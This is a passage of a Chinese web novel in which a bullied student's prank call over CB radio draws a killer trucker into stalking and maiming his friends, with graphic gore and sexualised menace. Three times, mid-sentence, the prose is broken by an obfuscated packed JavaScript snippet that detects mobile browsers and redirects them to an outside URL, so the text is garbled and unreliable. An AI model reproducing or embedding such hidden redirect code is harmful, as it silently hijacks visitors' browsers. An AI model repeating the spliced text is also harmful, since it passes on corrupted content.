《在欧美恐怖片里当万人迷》 1. 致命玩笑01 【影片:《致命玩笑》 剧情简介:汉斯一群人在漫长的旅途中为了解闷,通过无线电台联通陌生人,准备开个玩笑。谁知道电话那头并不是像往常那样,只能徒劳恼怒的倒霉蛋,而是手上血迹斑斑的凶手——这是个致命的玩笑。】 汤姆开着车,心里惴惴不安,打从这一旅途开始,他的心仿佛被无形的手揪住,沉重极了。而与他截然相反的是,个个精神抖索的旅伴们。 库克和艾丽莎正在热恋,两人肌肤相贴,你拥我揽,旁若无人地亲吻调/情。巴纳多在一旁起哄,他一向对这种事儿乐此不疲。 汉斯,他们这支队伍的leader,翘腿靠坐在皮质车椅上,长腿裹着高筒靴,彰显出小腿的鼓鼓肌肉。他百无聊赖地阖眼,似乎在休息。 说是似乎,因为汉斯睡眠很浅,如果真的休息,容不下这么喧闹。 车窗外除了一望无际的荒漠,便是笔直得仿佛永远没有尽头的公路。出发时还是泛着鱼肚的黎明,随着时间流逝,此刻天边出现一簇簇红霞。 众人也不再像一开始那般闹腾,漫长的旅途消磨掉他们的趣味,车外一成不变的景色更是让他们浑身不舒坦。 “兄弟们,找点乐子吧,如何?”巴纳多声音清亮,有着二十来岁小伙该有的活力。 库克搂着艾丽莎,嘴皮子上下一掀:“巴纳多,你有话直说,可别磨磨唧唧的。说吧,阴险的家伙,又想到什么恶劣的主意了?” 艾丽莎听得咯咯直笑。 巴纳多也不生气,状似伤心得用手捂着胸腔,“你这话真令人受伤。”话锋一转,暗戳戳挑拨,“艾丽莎知道你这家伙如此尖酸刻薄吗?” 见话题蔓延到自己,艾丽莎挑眉,从库克怀里直起身,在巴纳多明亮的眼神中,又瘫软回去,语气甜腻:“他刻薄冷漠,可我爱他。”库克激情回了一个吻。 “嘿!库克,艾丽莎,”巴纳多耸了耸肩膀,咧开嘴角,露出一口白牙:“两个bitch绝配。” “Fuck you!”两人竖中指回敬。 “好了好了,兄弟们,回到咱们的话题。”巴纳多指了指车上的民用无线电,意味不明地勾起嘴角。 老实说,单看巴纳多俊俏到喜人的眉眼,常人是看不出他藏在皮肉下的恶劣心肠,多少兄弟会新人就是受了他这张脸蛋的骗。至少,汤姆便是其中之一。 “你想用无线电和别人聊天?不认识的陌生人,这有什么有趣的。”艾丽莎失望。 巴纳多意味深长地说:“对他而言,我们也是陌生人。什么身份不就是自己说了算?” “你的意思是?” “嘿,艾丽莎,亲爱的,彰显你魅力的时候到了。想想一个寂寞的金发碧眼妞,会有多少色鬼耐不住下半身来回应你?” 汉斯几人意会到巴纳多的未尽之意,胸腔发出闷笑,骂道:“可真有你的。” 库克笑完,长腿踢了巴纳多座椅一脚,“差不多得了。我的女朋友,巴纳多你收敛着点。” 巴纳多哎哟哟叫唤,“好吧好吧,我哪敢呀?”一直目不直视地开车,安安静静就想当个背景板的汤姆,屏住呼吸,心里忽然涌上一股不好的预感。果然,“其实,我这不是看好的是,咱们的小女孩,汤姆,是吧?” 该死! 那口气咽在胸腔,不上不下。汤姆手心发白攥着方向盘,没等他拒绝,“伪装成女人会吧?”巴纳多略带威胁的口气说:“别那么扫兴,汤姆。我们可不想在自己的同伴身上找乐子。” “放轻松,汤姆,像你平时那样说话就好。”库克挤眉弄眼,话音刚落,和艾丽莎笑倒一片。 刻薄的言辞让汤姆脸上染着红晕,被气得咬紧牙齿,道路两旁都是枯黄的野草,他可真想不管不顾开进去,让这些家伙们大惊小怪出丑。可是,老天,他不敢。是的,他,汤姆,就是个彻头彻尾的懦夫! 坐在副驾驶的汉斯已经把手台强硬地塞在自己手心,汤姆一手握着方向盘,一手将手台靠近唇瓣,捏着嗓音:“嘿,我是,”他眼神透过后视镜,看到巴纳多比的夸张口势,语气僵硬,一字一顿地说,“我是小甜心。” 电台悄无声息,身边恶劣家伙们在一个个高谈阔论。 “讲你现在在做什么。” “我现在在开车,这个旅途可真漫长啊,望不到尽头的路,”汤姆头皮发麻,无奈按照众人的意思说:“好想有人能够陪伴我。” “说说你的外表。” “我,我金发碧眼,”他大脑一片空白,想参照着艾丽莎描述,被库克狠狠斜过来的一眼打消了想法,一时无措,只能照着自己的模子说:“身高五点七英尺,皮肤白嫩,但,但你可要轻点,我很容易被留下印记的。” “操。”一时间电台内外声音重合,不知道到底是谁发出。不过车内青年们没心思计较,他们因为电台收到了回复,个个兴奋地身体往驾驶座靠拢。 那头率先出声:“小甜心?”声音嘶哑粗粝,仿佛是笔在纸上摩擦,配合着电流的滋滋声,显得有几分无机质的冰冷。 “嗯。”汤姆从鼻腔内憋出一个回复,拿着手台的胳膊微微打颤。他现在心里尴尬的就想把自己找个地方埋起来。 而身侧同伴们则兴高采烈,“哦,小甜心~”e on!”“拿出你的本事,让他心痒难耐。” 此刻没人能想到,这会是一个致命玩笑。 【原剧情:在无线电收到回复时,汤姆可怜这中招的倒霉蛋,一想到有人即将遭受汉斯他们的戏弄,他久经欺凌而麻木的神经活络起来,心里腾升出诡异的快感。 汤姆脸上肌肉因为兴奋而抽搐,握着对讲机的手不由自主地颤抖着。 他在跃跃欲试。】 “你叫什么?呃,宝贝。” 顶着众人看好戏的戏谑目光,汤姆僵硬着紧握手机,为自己的欺骗而羞愧得额头渗汗。 “锈铁钉。” “奇特的名字。” 汤姆干巴巴夸奖一句,巴纳多连连比手画脚做出指示,他只能继续压低嗓音,像糖块化开将话语粘黏出丝:“锈铁钉,旅途这么漫长,你想要有一个人陪伴吗?比如,我......” “我穿了一件衬衫,白色的......” “要我帮你解开它,是吗?” 众人面面厮觑,瞳孔放大,显然没想到电台那头的人这么上道。库克和巴纳多激动碰了碰拳头,夸张地龇牙咧嘴,指手画脚着继续指示汤姆。 “那,那你能帮我解开吗?”因为羞涩而磕磕巴巴,含糊的吐词倒显得是在做什么不可告人的事儿。 无线电那头沉默了下—— “bitch。” 汤姆猛地咬牙,攥着电话的手一紧,他感觉自己遭受到了可怕的羞辱。而身旁的同伴们嘴巴疯狂抽搐,显然是乐疯了。 “不,我不是......”他呐呐着想否认,对讲机被库克一把抢过。巴纳多肘关节弯曲,迅速勒住汤姆的脖子,手臂凸起的肌肉挤压着汤姆的喉结,让他只能无助地从喉腔滚出幼崽似的呜咽声。 巴纳多带着恶意的话轻声在耳边响起:“Oh~bitch,给我勇敢些,别像个娘们一样扭捏。” 艾丽莎摊手,e on,小汤姆,别那么羞涩,顺着他的话说下去。不然——” “我们会把你丢下车的。”库克哼笑后,将对讲机扔过来。 汤姆刚手忙脚乱接下,无线电台响起:“你那边有人?” “呃,没有,刚刚是我养的猫,” 汤姆食指按着对讲机PTT键,闪烁的红灯在下巴摇曳出一抹艳色,靠着副驾驶台侧坐的汉斯不由眯眼。 汤姆没有察觉,语气装作抱怨:“是个调皮的小家伙。” 无线电那头意味不明地冷哼一声,不置可否。 他起疑心了? 库克推搡汤姆,暗示他赶紧想办法,见汤姆木愣愣,巴纳多甚至用手在太阳穴处比了个开枪的动作。 显然他们兴趣都上来了,容不得汤姆搞砸。汤姆只能战战兢兢,继续掐着嗓:“先生,你信我吧......” 无线电沉默,只余下电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981983|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流嘶嘶作响。 “你不信吗?”察觉巴纳多他们面色愈发不善,汤姆只觉得皮肉开始隐隐发疼,害怕得带着微薄的哭腔,“我,我可以,让他叫给你听——” “喵~” 尾音打颤,汤姆因为自己严重受挫的自尊心,委屈得脸色煞白,黑眸蒙上一层雾气。 迟迟没有声响的对讲机,突然传来一道锐利的叫声,透过电流,显得失真模糊。 汤姆禁不住起了一身鸡皮疙瘩,差点忘了掐嗓:“这,这是什么声音?” “我养的猫罢了。” 隔了一会儿,对讲机那头的人才漫不经心回答。 猫? 猫能够发出这么尖锐刺耳,像极了人十分痛苦下发出的声音吗?汤姆被自己的联想吓得打了个寒颤。 他,他不想再开这个玩笑了!汤姆,停下吧,大不了就被他们扔下,自己可以找好心人搭车...... 也没等汤姆内心继续挣扎,肩膀传来痛感,他回头,巴纳多手里拿了张写着地址的纸条,示意他回话。 他恍恍惚惚想起,刚刚对讲机好像发出了声音—— “地址。” 锈铁钉不厌其烦地重复,也许是觉得有些有趣,他卷着舌头,吞吞吐吐地又念了一遍:“Tell me,地址。” 感受到巴纳多捏紧了放在肩膀上的手,汤姆只能继续配合着错下去:“17号公路旁的蓝鸥旅店,Room 20.” “Roger that, Sweet Candy.” 对话彻底结束了。 库克问:“巴纳多,你干嘛把我们的住宿点告诉他?” “嘿,兄弟们,你们不打算亲眼看看这个倒霉蛋被欺骗后的反应吗?”巴纳多兴奋得脸颊充红,两目瞪圆。 “你可真混蛋!”艾丽莎叫嚷,身体却实诚地直起身。 每一个人兴致很高,嘻嘻哈哈互相打岔,天马行空地猜测。 “我猜十有八九是个满嘴络腮胡子的大汉。” “哦,天哪,那咱们的小汤姆在他面前,岂不是真的会像个女人一样?” “就是不知道这个色鬼,会不会饥不择食哈~”发出古怪笑声。 汤姆抿紧嘴唇,一群龌龊的混蛋! “到了。” 汉斯出声,打断他们的嬉闹。 大家望向车窗外,是一个略微破旧,看着上了点年代的旅馆。本该白净的墙面因破皮而露出猩红的砖瓦,周边栽种着不知品种的杂花杂草,植根粗壮,有的快半人高,有的攀着旅馆墙壁爬上屋檐,落下重重阴影。 这就是他们今晚的住所。 众人陆续下车,推开旅店大门,在咯吱作响声中,踏入这间屋舍,一个接一个被黑暗吞噬。 无线电发出声音时,铁锈钉正在开车。车头左右两边趴着一对面如土色的情侣,拴住两人手腕的锁链,延伸到卡车底盘传送轴。 卡车在公路上疾驰着,冷风呼啸,劈头盖脸地刮过两人。深入骨髓的恐惧让他们的哭嚎声不断,一度盖过电台发出的声响。 锈铁钉大掌重重拍在车上,厉声:“保持安静,两位。” 粗粝的嗓音透过车窗,传到两人耳朵,他们颤颤巍巍紧咬牙关,不敢再泻出半点话音。 之前的经历让他们充分明白,这是个多么说一不二、没有耐心的刽子手! 铁锈钉心满意足,有一句没一句聊着。 至于对面会不会是骗子? 也许是,也许不是。 但是没关系,铁锈钉最擅长对付骗子了,毕竟,让他们说的话成真就好。 天色阴沉沉压下来。 差不多了,铁锈钉心想。 他打转方向盘,车身猛地一撇,伴随着尖叫与重物落地声,不紧不慢回答无线电里小甜心的疑惑—— “我养的猫罢了。” 结束通话后,铁锈钉愉悦哼着歌,他迫不及待,准备去迎接——属于他的bitch。 庞大的卡车一路向前驰驱,留下一道道支离破碎的残骸和血迹。 2. 致命玩笑02 【原剧情: 铁锈钉如约而至。他头发剃的极短,像个劳改犯。接近七英尺的身形,鼓起的肌肉仿佛要冲破衣服,这无疑是钢铁般结实有力的身躯。汤姆心里的怯懦无法抑制,熟悉的害怕自卑涌起。 他痛恨极了! 冷静汤姆,万一他只是虚张声势呢?嘿,汤姆打量的眼神顿在锈铁钉的手上。他开始发笑,这人居然还带了瓶香槟,可真是猥琐粗鄙的下流痞子。 汤姆眼睛故意带上恶意,刻薄地奚落出声。 “所以说,一切都是谎言?”那人语气平静。 “呃,”汤姆后知后觉,这人就算是个色鬼,也是个肌肉蛮横的壮汉色鬼。冷汗冒上后背,他嗫嚅道:“不,我们,也许......” “咔嚓!” “嘭!”】 旅店老板是个半只脚踏入棺材的人,脸皮干瘪蜡黄,松松垮垮的一块块垂落,两只眼睛狭小到快成一条□□。他嗓音尖锐地开口:“20和21房间的客人们是吧?” 收到众人肯定的答复后,老板摇头晃脑:“嘿,小伙子们,怎么会想到走这条路呢?”他发出叹息,“相信我,现在改路或许还来得及。“ “哦?”巴纳多把身体凑上去,好奇地询问,“这话怎么说?” “这条17号公路,你们知道叫什么名字吗?” 众人茫然。 老板牙齿稀松,话语仿佛透过牙龈蹦出:“屠宰巷。” “小家伙们,全美国,在这条路上死去的失踪的人,远远超过其他任何地方。” “为什么?”艾丽莎下意识揽紧男友手臂。 “为什么?据说——” “据说,这条公路上有一个杀人的卡车司机。”巴纳多怪声怪气重复,“还以为是什么呢,结果是这种老掉牙的杀人故事。还卡车司机?” “Hmm......”他从喉咙里挤出不屑的咕噜声。 他们正上楼前往房间,巴纳多遥遥走在前头领路,无所顾忌,扯着嗓门说话。落在最后的汤姆回头,老板正手执破布擦拭桌面。 他听到了吗? 汤姆不确定,巴纳多就是这样喜欢模仿丑化他人,也不见得是为了哗众取宠,他只是由衷地以此为趣。他转回头,视线落到巴纳多身后的情侣身上。库克在安慰被吓到的艾丽莎,他的安慰法子,汤姆不用看都能知道,无外乎是—— ——贬低他人。 “老东西神神叨叨的,我发誓,艾丽莎,卡车司机能有多厉害?你看这老混蛋小鸟似的孱弱身体,嘿!那不是看谁都觉得厉害吗?只怕故意夸大呢。” ——抬高自己。 “相信我,艾丽莎。就算真有这个卡车司机,”库克直扭胳膊,结实的肌肉随着动作而鼓囊囊顶着衣服,他带着几分得意:“我会让他滚蛋的!” 库克的身形在同龄人里向来突出,接近六英尺五的傲人身高,高大粗壮的骨骼,都是他目空一切的底气。 然而汤姆不祥的预感愈发强盛,“汉斯,汉斯?”前方的汉斯没回头,继续跨步朝楼上走去。楼梯狭窄,汤姆情急下揪住汉斯的衣摆,汉斯顿住脚步,侧过身,露出流畅俊俏的脸部线条。 汤姆犹豫地说:“汉斯......我们要不改道吧?” “你被吓住了?”汉斯回握住汤姆的手,指腹摩挲,“汤姆。或许待会儿晚上,你可以和我睡在一起。” “啊......”汤姆面红耳赤地呛住,骤然收回手,不自觉后退。 他不知道汉斯眼里闪动的是挑/逗目光,但被摩挲的手背,带来另一种诡异的感觉,让他后背发凉。汉斯见状轻笑,转身走了。 Room20和21是面对面的两间房,门上开了孔充当猫眼。 巴纳多刚打开20号房,库克就默契地推了汤姆一把。失去平衡的汤姆,打了个趔趄,扑倒在地。幸好地上铺着柔软的毛毯,不然免不了破皮受伤。 身后又传来哈哈大笑,巴纳多笑得最起劲。汤姆攥紧拳头,他明白:他越出丑,越使这群人高兴。 “咚咚。” 汉斯用指关节不轻不重敲了几下门,“Hey,guys,”吸引众人的视线后,“够了。” “Yeah.”库克和艾丽莎耸耸肩离开,巴纳多紧随其后,出门前还不忘留下句挖苦:“汤姆,哦,bitch,你就留在这儿等着你的客人上门吧。” 等对面的门半掩,汉斯这才靠上前打圆场,“汤姆,感谢你愿意留在这儿,代表我们表示歉意。”他伸手整理汤姆因为摔倒而弯折衣襟,带了几分居高临下的怜意,“放心,我们就在对门,有什么意外,会出来的。” 汤姆脸色发白了,喉咙干涩难受得仿佛塞了块鲍鱼,堵住所有冒在嗓子尖的话语。他没有全信这句话,汉斯的漂亮话向来是一套一套,只多不少。 紧张的神经迫切需要发泄,汤姆在房间里踱来踱去,神经兮兮地啃啮着手指,偶然听到楼下或走廊的动静,就受惊似得浑身打战。几次下来,他意识到这样焦虑下去是不行的,只好自我安慰:汤姆,想开点,至少这意味着现在你独享一间房不是吗?放松些......是的,我需要放松...... 他瞥到自己沾灰的衣物,回忆起整天的奔波,又想到刚刚摔倒还有汉斯的触碰,汤姆本能感觉身体沾了什么东西,从包内掏出浴袍,快步走向浴室。顾及到不知道什么时候来的锈铁钉,他只简单冲洗,立马套上浴袍,匆匆在腰间打了个结便出来。 光润纤秀的黑发正湿漉漉滴着水,汤姆拿起帕子胡乱擦了几下,准备找衣服换上时—— “咚咚。” 是汉斯他们吗?还是...... ——“铁锈钉来了!” 一直透过猫眼关注对门的巴纳多虚声惊呼。他没回头,用手比了个过来手势。库克和艾丽莎赶紧走上前,听到零零碎碎的话。 【原剧情:锈铁钉颠了颠手上仅剩下的酒瓶口,面无表情蹲下,掐住昏迷不醒的汤姆脸颊。刺痛感惊醒了汤姆,血液混杂酒水流入眼睛,刺激得泪水直流,他双目瞪大充红,眼睁睁看着这个带着血色的模糊身影,举起破碎的酒瓶。 “嗷,啊......”声音愈来愈弱,汤姆两眼直瞪瞪,血盆大口,随着锈铁钉手掌的松开,尸体滑落下,脑袋侧着,露出脖颈处的细碎反光。 走廊陷入死寂。 锈铁钉慢慢直起身,猛地回头—— 对门的猫眼一片漆黑。 库克紧紧捂住女友的嘴,和巴纳多僵直着身体,像胶水一样贴在门两侧墙壁上,豆大的汗珠从他们呆滞的面庞落下,他们死死屏住呼吸。 汉斯从他们的举动中意识到不妙。他立马找出枪,警惕迈步走进。】 打开门后,汤姆悬着的心终于死了。 面前的铁锈钉手里提了瓶香槟。全身是古铜色的肌肉,身子骨又宽又壮,人高马大到被门槛遮掩,只露出布满浓密黑胡须的下半张脸。 汤姆心跳得特别快。我得认错认的诚恳一点,他苦哈哈地想,锈铁钉的一条大腿就几近自己的腰粗了,不敢想他的拳头落到自己身上,会多么惨烈血腥! “Sweet Candy?” “抱歉!”九十度大鞠躬。 两人同时开口,铁锈钉率先沉默。他心里好笑,饶有兴致地看着汤姆。之前汤姆开门时,浴袍紧贴着身体的画面仿佛还停留在视网膜。下一秒,就更替成汤姆如同惊弓之鸟弯腰袒露出的后颈。 他目光闪烁,面前的人还保持着郑重其事的九十度鞠躬,不带停顿地说:“先生,真得很对不起。开这个玩笑是我们的不是!实在很抱歉,我们不应该开这么个玩笑......” 眼见这个道歉要没完没了的循环下去,铁锈钉出声:“所以没有金发碧眼?” “呃......” “也没有白衬衫?” “抱,抱歉......” 听着似乎快哭了呢。铁锈钉没有见过这么脆弱可怜的人。太小了,脸看着也嫩。他面上不露声色,“那所谓的很容易留下印记呢?” 听到这个汤姆舒了口气,直起身,“这个我没骗您!”为了取信于这个高大的受骗人,汤姆高高举起手臂,信誓旦旦:“您大可以试一试!” 铁锈钉抬手,并没有用力,只是搭上去,就留下一道红痕。 确实很容易留下痕迹。这一点没骗我。 “好吧,小甜心,我会原谅你的,看在你的份上,也一并......”宽恕你的朋友。铁锈钉没说完,他五官自小敏锐,远超常人,加上旅店本就隔音不好,对门后窸窸窣窣的声音,他听的一清二楚。 ——“嘿,这男的还带了瓶香槟!哈!” ——“Uh,我想去上厕所,” ——“再忍忍亲爱的,待会儿看完咱们......一起去。” ——“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981984|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦,那个铁锈钉动手了!嗯?他把手放哪儿呢?不会吧,他不会摸上去了吧?” ——“Fuck!他怎么那么饥不择食!变态啊!” 锈铁钉将话题一转:“这瓶酒,你介意我帮你打开它吗?” 见汤姆摇头,锈铁钉用拇指按住酒塞,将瓶口铁丝套拧开,托着瓶底转动。“呲”的一声后,铁锈钉将打开的香槟酒和木塞递给汤姆,“不喝的话,放进冰箱里去吧。” “谢谢你,先生。”汤姆本以为至少都会挨顿骂,没想到铁锈钉这么温和,这就是铁汉柔情吗?一点也不像巴纳多他们。 汤姆关门的动作顿住,他想到自己朋友们的恶劣玩笑,愧疚感上来,想要做点什么,于是蹑手蹑脚从门后探出脑袋,“这么晚了,您一个人回去方便吗?” “你想我留下来和你一起睡?”锈铁钉手上不由用力,掌心金属线圈被捏扁。 “啊?”汤姆脸蛋直冒热气,“我的意思是可以帮你付旅店费。” “那算了,你早点休息。” 汤姆只好说:“好吧,再见,祝您回去一路顺风。” 见门关上,锈铁钉低头看向手掌。这铁丝像是泥塑的,手指灵活一拉,轻易被拉扯成细长条状。 ——“咦?铁锈钉怎么不见了?” “Oh!Thank God——结束了是吗?”艾丽莎刚想推开门前的巴纳多,“Get out!我要出去......” 巴纳多猛地双拳砸门,大叫—— “啊!” 艾丽莎吓得扑进库克怀里,委屈咕哝:“不让就不让,凶什么!?” 汉斯闻声将视线转向门口,巴纳多正捂着脸,踉跄后退。库克轻轻拍打女友肩膀,皱眉询问:“巴纳多,你发什么疯......”声音戛然而止。 巴纳多抬头,指缝中露出一截不规则形状的铁丝,鲜血淋漓顺着五指蜿蜒流下。铁锈味冲击着鼻腔,无休止的疼痛让他大脑昏沉,身体左摇右倒,狗一样嚎叫。 “Shit!该死的东西!我的眼睛!该死!该死!该死!.” “嘶。”艾丽莎吃痛,库克反应过来,放松捏着女友肩膀的力道。两人心脏都漏了半拍。 “库克,艾丽莎,打急救电话。” 汉斯命令的口吻让他们从呆滞中惊醒,手忙脚乱地照做。汉斯自己从包中掏出手枪,侧头贴着墙,小心翼翼打开门,举枪四顾,走廊内空无一人。 凌晨五点,巴纳多从手术室中被推出。医生对着簇拥他的青年们叹气,毕竟是将近2英寸长的铁丝穿破眼球,带来眼球壁破裂和眼组织嵌顿。他只能建议:“也许,他需要你们的安慰。” 病房内巴纳多左眼蒙上纱布,看似平静地坐在病床上。 “呃,巴纳多,你怎么样?” “怎么样?”巴纳多冷静的面容骤然破碎,他猛挥手臂,柜子上的东西呼啦啦掉了一地,“Shit!我瞎了一只眼!” 他气喘吁吁骂完,又平静下来。 库克和艾丽莎都不敢搭话,巴纳多这状态怎么看都反常。 沉默片刻后,巴纳多一字一顿地说:“我要杀了他。” 众人吃惊。库克劝道:“等等,兄弟,这可不是笔划算的买卖。” “呵。那是因为失去一只眼睛的是我!”巴纳多怒目控诉,“我要杀了他!库克,作为我的兄弟,你不陪我一起也就算了!还想要阻止我!?” “那是一条人命!”艾丽莎忍不住反驳。 “Bullshit!”巴纳多投下轻蔑的眼神。 汉斯出来主持大局:“冷静下来,巴纳多。” 但他的出声,反而使巴纳多找到主心骨似的,话语更加坚定—— “冷静?Goddamn!我怎么冷静?混蛋!色鬼!变态!——他该死。” “嘿,兄弟们,我们有枪。他是个体格不错的莽汉,这点我承认。但是我们三个人,个个能打,肌肉都不是白长的。不是吗?” “或者你们担心尸体处理?也许你们还记老板的话——这公路,多一具尸体也没什么。” “所以......” “汤姆,小甜心,来打电话吧。” 被点到的汤姆喏喏:“巴纳多,还是......” “Fuck you bitch!”巴纳多勃然大怒地打断汤姆的话。他颧骨凸起,面目极度狰狞:“给我打电话。快!” 3. 致命玩笑03 【汤姆死了,没人在乎。 警察破口大骂,这群无聊的年轻人随口开的玩笑,给自己加了多少工作量?接受完警官滔滔不绝美其名曰教诲的辱骂,汉斯他们离开警署时,天色微微泛白。 他们坐上车,心情有些沉重,毕竟是认识的人当面遇害。然而很快,兜风的快乐让他们疲惫的神经为之一振。对他们而言,少了汤姆只是旅途中多了些需要亲力亲为的不便。 他们的愉快心情持续到夜晚无线电发出声响—— “Hello...... Sweet Candy?”】 “砰!” “冷静下来了吗?” 汉斯抡起拳头捶上巴纳多脑袋,再揪住衣领,把他从床上提溜起来。喉间传来的窒息感,让巴纳多从愤怒的狂热中脱离,仅剩下的那只眼睛茫然瞪大,嘴唇抖动,一个词也蹦不出来。 汉斯见他恢复冷静,放松手腕力量,任凭失去支撑的巴纳多倒下,陷入病床。 巴纳多四肢瘫痪似的直挺挺躺着,牙齿咯咯作响:“好,好吧,汉斯,库克,你们说的对,我的一切不能因为那个混蛋搞砸,这是个不划算的买卖......是的,不划算......” 除了巴纳多嗓子里忽大忽小的怪音,房间内再无声响,似乎凝重得让人快喘不过气。 艾丽莎深吸一口气,烦躁推开男友胳膊,指了指自己,又指向房门。 库克眼神回复:需要我陪你吗? 艾丽莎摆手,拍拍库克肩膀,比了个吸烟的动作。她担心巴纳多的伤,更忧虑铁锈钉会继续报复。好端端的旅行出了这种糟心事,艾丽莎对巴纳多是不满的,只不过不敢表现出来,但是对于汤姆—— 她经过汤姆时,冷不丁一撞。被撞个正着的汤姆后背不知磕到什么,痛得面无血色一个劲直抽气。看得艾丽莎解气了,一甩头发,神清气爽地出门。 艾丽莎对汤姆的怨怼远胜于巴纳多。她想,肯定是汤姆胡乱说了些什么,铁锈钉才会这么对巴纳多,不然,铁锈钉又怎么知道他们在对门? 旁观的库克只知道为女友肯把不满发泄出来而舒气,唯有汉斯还有点良心似的,一个跨步上前扶住汤姆。 汤姆刚刚后背不知道戳中哪里的神经,脊背发麻,下肢软绵绵差点没有力气。汉斯拉把椅子,汤姆坐上缓了好一会儿。待到发麻褪去,他后知后觉发现大腿口袋传来振动——是他的手机在响。 汤姆伸手去拿,扭动腰部肌肉,一下子眼前直冒黑点,手指打颤,不小心误触免提—— “Hello...... Sweet Candy?” 是锈铁钉那具有辨识度的嘶哑声。汤姆好像忘了什么,而还残存记忆的身体麻意顿消,取而代之的是彻骨的凉意。 “Hey?” “Sweet Candy!Emm......” “Or Tome?” 病房内哑然无声,唯有电话里的人自顾自说着。 汉斯传来不赞同的目光。 他以为这个电话是我打的吗?汤姆还没来得及说,巴纳多兴奋出声:“汤姆,我的好兄弟!还是你义气!”他顾及到在通话中的电话,放轻嗓音,语气又快又急:“快!告诉他,我们约个地点见面。” 巴纳多复仇的心死灰复燃,而怒火让他一改刚才的死气沉沉,脸上红润极了。 “嘿,铁锈钉,是我。” 汉斯和库克都没有阻止,汤姆只能硬着头皮说,“抱歉,呃,我的朋友想要约你见个面,为了昨天晚上的事儿。” 他在暗示铁锈钉。心里不好的预感告诉汤姆,不能让他们见面。 巴纳多变了脸色,他显然听出这个暗示。他面色阴沉推开汤姆,抢走手机,眼睛恶狠狠得像是要活生生撕了汤姆一样,嘴里骂骂咧咧:“Listen,you sick fuck——不想被条子找上,给我乖乖来赴约。” “You got that?You copy that?” “好啊,”锈铁钉十分爽快地答应,巴纳多狐疑哽住,“正巧,我也打算约你们见面。” 啊! 汤姆想起来,他刚刚忘了什么—— 昨晚自己并没有告诉铁锈钉手机号,也没有告诉他姓名。所以,铁锈钉是怎么知道的? ——“你们的朋友,艾丽莎,正迫切地找你们呢。” “Fuck!”库克猛地冲出病房。 巴纳多惊呼:“怎么会?”他之前还看到了艾丽莎那女人。 “你们好像有疑问?”电话里传来细微杂音和衣物摩擦的沙沙声,“艾丽莎,和你的朋友们说说话吧。” 熟悉的女人声音:“救我,呜呜呜......” 不,还是有陌生的地方。艾丽莎从来没有这么虚弱过。她向来活泼,说话带着轻快调皮的腔。 这时库克面如死灰托着步子进门,听到声,立马冲上前,挤开巴纳多拿到手机,目光抓狂地发现这个电话号码正是艾丽莎的。 库克现在体会到巴纳多的崩溃了,而巴纳多浑浑噩噩,这急转而下的事情发展,宛若当头一棒,他也终于觉醒了恐怖神经。 他们意识到,铁锈钉,杀人司机,屠宰巷,或许真的名不虚传。 唯一保持冷静的汉斯捂住手机麦克风,说:“艾丽莎才出去那么会儿,他们应该还没走远。”然而,铁锈钉仿佛知道他们在想什么,“你们可别想着来找,也别报警。” “You,got that?”铁锈钉将巴纳多的话,一字不改抛回来。 汉斯几人默然。 铁锈钉没再说什么,电话里响起拖拽声,艾丽莎的尖叫高了一个度。 “等等,我......”库克话没说完,电话挂断。他呆愣地看着手机桌面,嘴里喃喃:“我该早点答应的,我不该犹豫,你们,你们说,他会对我的艾丽莎做什么。”他崩溃地双手抓挠头发。 过了一两分钟,手机跳出来视频通话,库克忙慌慌点开,画面里披头散发的艾丽莎一闪而过后,固定在散热风扇上。 “NO!”库克大叫。 “NO!Please,no!No......”惊慌失措的女声。 屏幕内外重合的声音,让汤姆止不住后退,不敢再看。但屏幕内声音仿佛长了眼,直往他的耳朵里钻,尤其是铁锈钉吓人的笑声:“哈哈哈哈哈......” 他好像又看错人了。汤姆,你真是个笨蛋! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981985|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁家好人会把手塞进风扇内?也只有变态这个时候还能笑得出来! 艾丽莎整张脸都喷溅上血,她没能昏过去,或者说是在剧痛中一次次醒来。高速运转的风扇并不会一次性切割下人的手,而是在多次反复中削皮去骨。 “库克,”这会不用铁锈钉说完,库克忙不迭表态:“不!你放心,我们不会报警的。” “很好。”他表扬了一句,“接下来照我说的做。” “中午十二点,我要看到我的小甜心穿着衬衫,被绑在仓库里。仓库的地址,我会发给你们的。” “对了,我并不想看到小甜心穿别的男人的衣服。” 电话挂断了,铁锈钉好人的形象也崩塌个一干二净。 库克眼睛略过他的兄弟们,最后定格在汉斯身上—— “你们别想报警。” “谁知道这家伙有什么手段,我们谁都赌不起——照他说的做。” 他们坐在车上,却不复最开始的潇洒,每个人都面色凝重,中途库克下车去买了衬衫,吊牌也没剪,逼迫汤姆换上后,便急吼吼把人四肢捆绑起来。十点过,他们收到铁锈钉发来的地址,紧赶慢赶才在十二点前到达。 